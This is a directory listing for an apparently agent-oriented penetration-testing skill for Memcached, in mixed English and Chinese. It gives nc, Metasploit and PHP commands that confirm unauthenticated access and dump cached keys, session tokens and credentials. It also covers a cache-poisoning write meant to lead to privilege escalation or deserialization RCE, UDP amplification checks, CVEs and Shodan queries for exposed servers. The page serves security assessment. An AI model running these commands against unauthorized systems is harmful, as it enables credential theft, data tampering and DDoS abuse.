SuperAPI AI Directory

memcache-pentesting

Security & auditing

View repository

Updated 10-16 04:41

About this skill

Memcached Penetration Testing Methodology (11211)

In-Depth Reference


Overall Decision Tree

发现 11211 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 版本与基本信息
│   ├─ 手动连接 (nc / telnet)
│   └─ TCP vs UDP 探测
│       ├─ TCP 11211 -> 标准连接
│       └─ UDP 11211 -> DDoS 放大攻击面
├─ Phase 2: 未授权访问测试
│   ├─ 发送 version / stats 命令
│   │   ├─ 返回数据 -> 未授权 -> Phase 3
│   │   └─ 无响应 / ERROR -> SASL 认证启用 -> 爆破
│   └─ Memcached 多数实例默认无认证
├─ Phase 3: 缓存数据提取
│   ├─ stats -> 基础统计信息
│   ├─ stats slabs -> 内存分片信息
│   ├─ stats items -> 各 slab 中的项目
│   ├─ stats cachedump <slab> <count> -> 键名 (< 1.4.31)
│   ├─ lru_crawler metadump all -> 键名 (>= 1.4.31)
│   └─ get <key> -> 获取具体缓存值
├─ Phase 4: DDoS 放大风险
│   ├─ UDP 端口开放 -> 可被利用为反射放大源
│   ├─ 放大比可达 51000x
│   └─ Metasploit: auxiliary/scanner/memcached/memcached_amp
└─ Phase 5: 已知漏洞
    ├─ CVE-2021-37519 (堆溢出)
    ├─ CVE-2019-11596 (NULL 指针)
    └─ 旧版本缓冲区溢出

Phase 1: Service Discovery

1.1 Automated Enumeration

# Nmap 信息收集
nmap -n -sV --script memcached-info -p 11211 <IP>

# Metasploit 数据提取
msf> use auxiliary/gather/memcached_extractor

# Metasploit DDoS 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp

1.2 Manual Connection

# TCP 连接
echo "version" | nc -vn -w 1 <IP> 11211
echo "stats" | nc -vn -w 1 <IP> 11211

# libmemcached 工具
sudo apt install libmemcached-tools
memcstat --servers=<IP>

Phase 2: Unauthorized Access Testing

2.1 Authentication Detection

Although Memcached supports SASL authentication, the vast majority of instances are exposed without authentication by default.

# 发送 version 命令测试
echo "version" | nc -vn -w 1 <IP> 11211
# 返回 VERSION x.x.x 则无需认证

# 发送 stats 命令
echo "stats" | nc -vn -w 1 <IP> 11211
# 返回 STAT 数据则确认无认证

2.2 Authentication Decision Tree

连接测试
├─ 返回 VERSION / STAT 数据
│   └─ 未授权访问确认 -> Phase 3
├─ 返回 ERROR 或无响应
│   ├─ SASL 认证可能启用
│   └─ 端口可能被防火墙过滤
└─ 连接超时
    └─ 检查 TCP/UDP 端口状态

Phase 3: Cache Data Extraction

3.1 Basic Information Gathering

# 版本信息
echo "version" | nc -vn -w 1 <IP> 11211

# 通用统计
echo "stats" | nc -vn -w 1 <IP> 11211

# 内存分片统计
echo "stats slabs" | nc -vn -w 1 <IP> 11211

# 项目统计
echo "stats items" | nc -vn -w 1 <IP> 11211

3.2 Key Name Extraction

# Memcached < 1.4.31: cachedump 方式
echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211
# 0 表示无限输出

# Memcached >= 1.4.31: lru_crawler 方式 (推荐)
echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50

3.3 Retrieving Specific Values

# 获取指定键的值
echo "get <key_name>" | nc -vn -w 1 <IP> 11211

3.4 Tool Assistance

# libmemcached 工具
memcstat --servers=<IP>       # 统计信息
memcdump --servers=<IP>       # 导出所有键名
memccat --servers=<IP> <key>  # 获取键值

# PHP 脚本
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());'

3.5 Data Extraction Decision Tree

缓存数据提取流程
├─ stats items -> 确认有数据的 slab
├─ 版本 < 1.4.31
│   └─ stats cachedump <slab> 0 -> 获取键名
├─ 版本 >= 1.4.31
│   └─ lru_crawler metadump all -> 获取键名
├─ 获取键名后
│   └─ get <key> -> 逐个获取值
└─ 关注的数据类型
    ├─ 会话 Token / Session ID
    ├─ 用户凭据 / API Key
    ├─ 序列化对象 (反序列化攻击面)
    └─ 业务敏感数据

Note: Cache data is temporary and may appear or disappear at any time.


Phase 4: DDoS Amplification Risk

4.1 UDP Reflection Amplification

Memcached UDP reflection amplification is one of the largest known amplification attacks, with an amplification ratio of up to 51000x。

# 检测 UDP 端口
nmap -sU -p 11211 <IP>

# Metasploit 放大检测
msf> use auxiliary/scanner/memcached/memcached_amp
msf> set RHOSTS <IP>
msf> run

4.2 DDoS Risk Assessment

UDP 11211 开放
├─ 可被滥用为 DDoS 反射放大源
│   ├─ 攻击者发送伪造源 IP 的小请求
│   ├─ Memcached 向受害者返回大响应
│   └─ 放大比高达 51000x
├─ 缓解措施
│   ├─ 禁用 UDP: memcached -U 0
│   ├─ 防火墙限制 11211 端口访问
│   └─ 绑定到 localhost: memcached -l 127.0.0.1
└─ 报告建议
    └─ 将 UDP 暴露标记为高风险发现

Phase 5: Known Vulnerabilities

5.1 Vulnerability Detection Decision Tree

Memcached 版本已知
├─ < 1.4.31
│   └─ cachedump 可用 (信息泄露更简单)
├─ < 1.5.6
│   └─ CVE-2018-1000127 (整数溢出)
├─ < 1.6.1
│   └─ CVE-2019-11596 (NULL 指针解引用 DoS)
├─ < 1.6.12
│   └─ CVE-2021-37519 (堆缓冲区溢出)
└─ 通用
    └─ searchsploit memcached

Data Writing and Manipulation

Cache Poisoning

If you can write to Memcached, you can poison the cache data:

# 设置/覆盖键值
printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211

# 潜在影响:
# - 修改会话数据 -> 越权
# - 修改配置缓存 -> 逻辑绕过
# - 注入序列化对象 -> 反序列化 RCE

Shodan Search

port:11211 "STAT pid"
"STAT pid"